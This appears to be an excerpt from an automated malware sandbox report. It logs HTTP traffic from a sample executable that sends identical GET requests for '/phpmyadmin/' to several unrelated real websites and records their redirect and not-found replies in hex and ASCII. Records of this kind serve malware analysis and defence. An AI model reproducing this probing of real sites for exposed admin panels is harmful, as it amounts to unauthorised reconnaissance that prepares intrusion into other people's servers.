2023-11-26 05:59:29 UTC	230	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 72 65 74 74 79 70 6f 6c 6c 79 63 6c 65 61 6e 69 6e 67 2e 61 65 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 35 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheLocation: https://www.prettypollycleaning.ae/phpmyadmin/Content-Length: 254Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:29 UTC	254	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 72 65 74 74 79 70 6f 6c 6c 79 63 6c 65 61 6e 69 6e 67 2e 61 65 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.prettypollycleaning.ae/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	51752	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	663	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https:/
2023-11-26 05:59:34 UTC	706	IN	Data Raw: 37 64 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 Data Ascii: 7d06<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8">...[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]--><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 5f 31 32 30 78 31 32 30 2e 70 6e 67 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 2f 2f 74 72 61 64 65 61 76 65 6e 69 64 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 6f 72 74 6f 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 5f 37 36 78 37 36 2e 70 6e 67 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 35 32 78 31 35 32 22 20 68 72 65 66 3d 22 2f 2f 74 72 61 64 65 61 76 65 6e 69 64 61 2e 63 6f 6d 2f 77 70 2d 63 Data Ascii: /images/logo/apple-touch-icon_120x120.png"><link rel="apple-touch-icon" sizes="76x76" href="//tradeavenida.com/wp-content/themes/porto/images/logo/apple-touch-icon_76x76.png"><link rel="apple-touch-icon" sizes="152x152" href="//tradeavenida.com/wp-c
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 2c 72 3d 28 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 Data Ascii: height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 Data Ascii: =new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+60
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 76 61 6c 69 64 61 74 65 2d 65 6e 67 69 6e 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 74 72 61 64 65 61 76 65 6e 69 64 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 79 73 69 6a 61 2d 6e 65 77 73 6c 65 74 74 65 72 73 2f 63 73 73 2f 76 61 6c 69 64 61 74 69 6f 6e 45 6e 67 69 6e 65 2e 6a 71 75 65 72 79 2e 63 73 73 3f 76 65 72 3d 32 2e 32 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 65 6d 6f 6a 69 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 0a 09 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 20 69 6d 67 Data Ascii: ings);</script><link rel='stylesheet' id='validate-engine-css-css' href='https://tradeavenida.com/wp-content/plugins/wysija-newsletters/css/validationEngine.jquery.css?ver=2.21' media='all' /><style id='wp-emoji-styles-inline-css'>img.wp-smiley, img
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 34 70 78 20 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 34 70 78 20 73 6f 6c 69 64 3b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 37 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 Data Ascii: ont-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 64 6f 74 73 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 31 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 77 69 64 65 29 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 68 65 69 67 68 74 3a 32 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 68 7b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a Data Ascii: dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-siz
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 2e 31 31 2e 30 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 79 69 74 68 2d 77 63 61 6e 2d 73 68 6f 72 74 63 6f 64 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 3a 72 6f 6f 74 7b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 74 69 74 6c 65 73 3a 20 23 34 33 34 33 34 33 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 3a 20 23 41 37 31 34 34 43 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 72 3a 20 31 36 37 3b Data Ascii: .11.0' media='all' /><style id='yith-wcan-shortcodes-inline-css'>:root{--yith-wcan-filters_colors_titles: #434343;--yith-wcan-filters_colors_background: #FFFFFF;--yith-wcan-filters_colors_accent: #A7144C;--yith-wcan-filters_colors_accent_r: 167;
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 33 2e 39 2e 30 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 79 69 74 68 2d 77 63 77 6c 2d 6d 61 69 6e 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 6c 69 20 61 7b 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 6c 69 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 66 61 63 65 62 6f 6f 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 66 61 63 65 62 6f 6f 6b 3a 68 6f 76 65 72 7b 62 61 Data Ascii: 3.9.0' media='all' /><style id='yith-wcwl-main-inline-css'>.yith-wcwl-share li a{color: #FFFFFF;}.yith-wcwl-share li a:hover{color: #FFFFFF;}.yith-wcwl-share a.facebook{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.facebook:hover{ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	51627	109.168.109.224	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: americanrecords.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	187	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 30 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheVary: Accept-EncodingContent-Length: 209Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:29 UTC	209	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /phpmyadmin/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	51386	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	182	OUT	GET /phpmyadmin/ HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	530	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 75 6e 69 64 33 70 34 36 39 73 39 68 6a 32 61 36 70 6b 61 38 73 63 68 32 33 72 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 30 32 33 20 30 36 3a 35 39 3a 33 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:30 GMTTransfer-Encoding: chunkedConnection: closeSet-Cookie: PHPSESSID=unid3p469s9hj2a6pka8sch23r; expires=Sun, 26-Nov-2023 06:59:30 GMT; Max-Age=3600; path=/; secure; HttpOnlyExpires
2023-11-26 05:59:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	51761	92.62.143.50	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	171	OUT	GET /phpmyadmin/ HTTP/1.1 Host: bunasta.eu Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	233	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 62 75 6e 61 73 74 61 2e 65 75 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:29 GMTServer: Apache/2.4.38 (Debian)Location: http://www.bunasta.eu/phpmyadmin/Content-Length: 318Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:29 UTC	318	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 62 75 6e 61 73 74 61 2e 65 75 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.bunasta.eu/phpmyadmin/">here</a>.</p><hr><address>Apache/2.4.38 (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	52336	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	745	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, ma
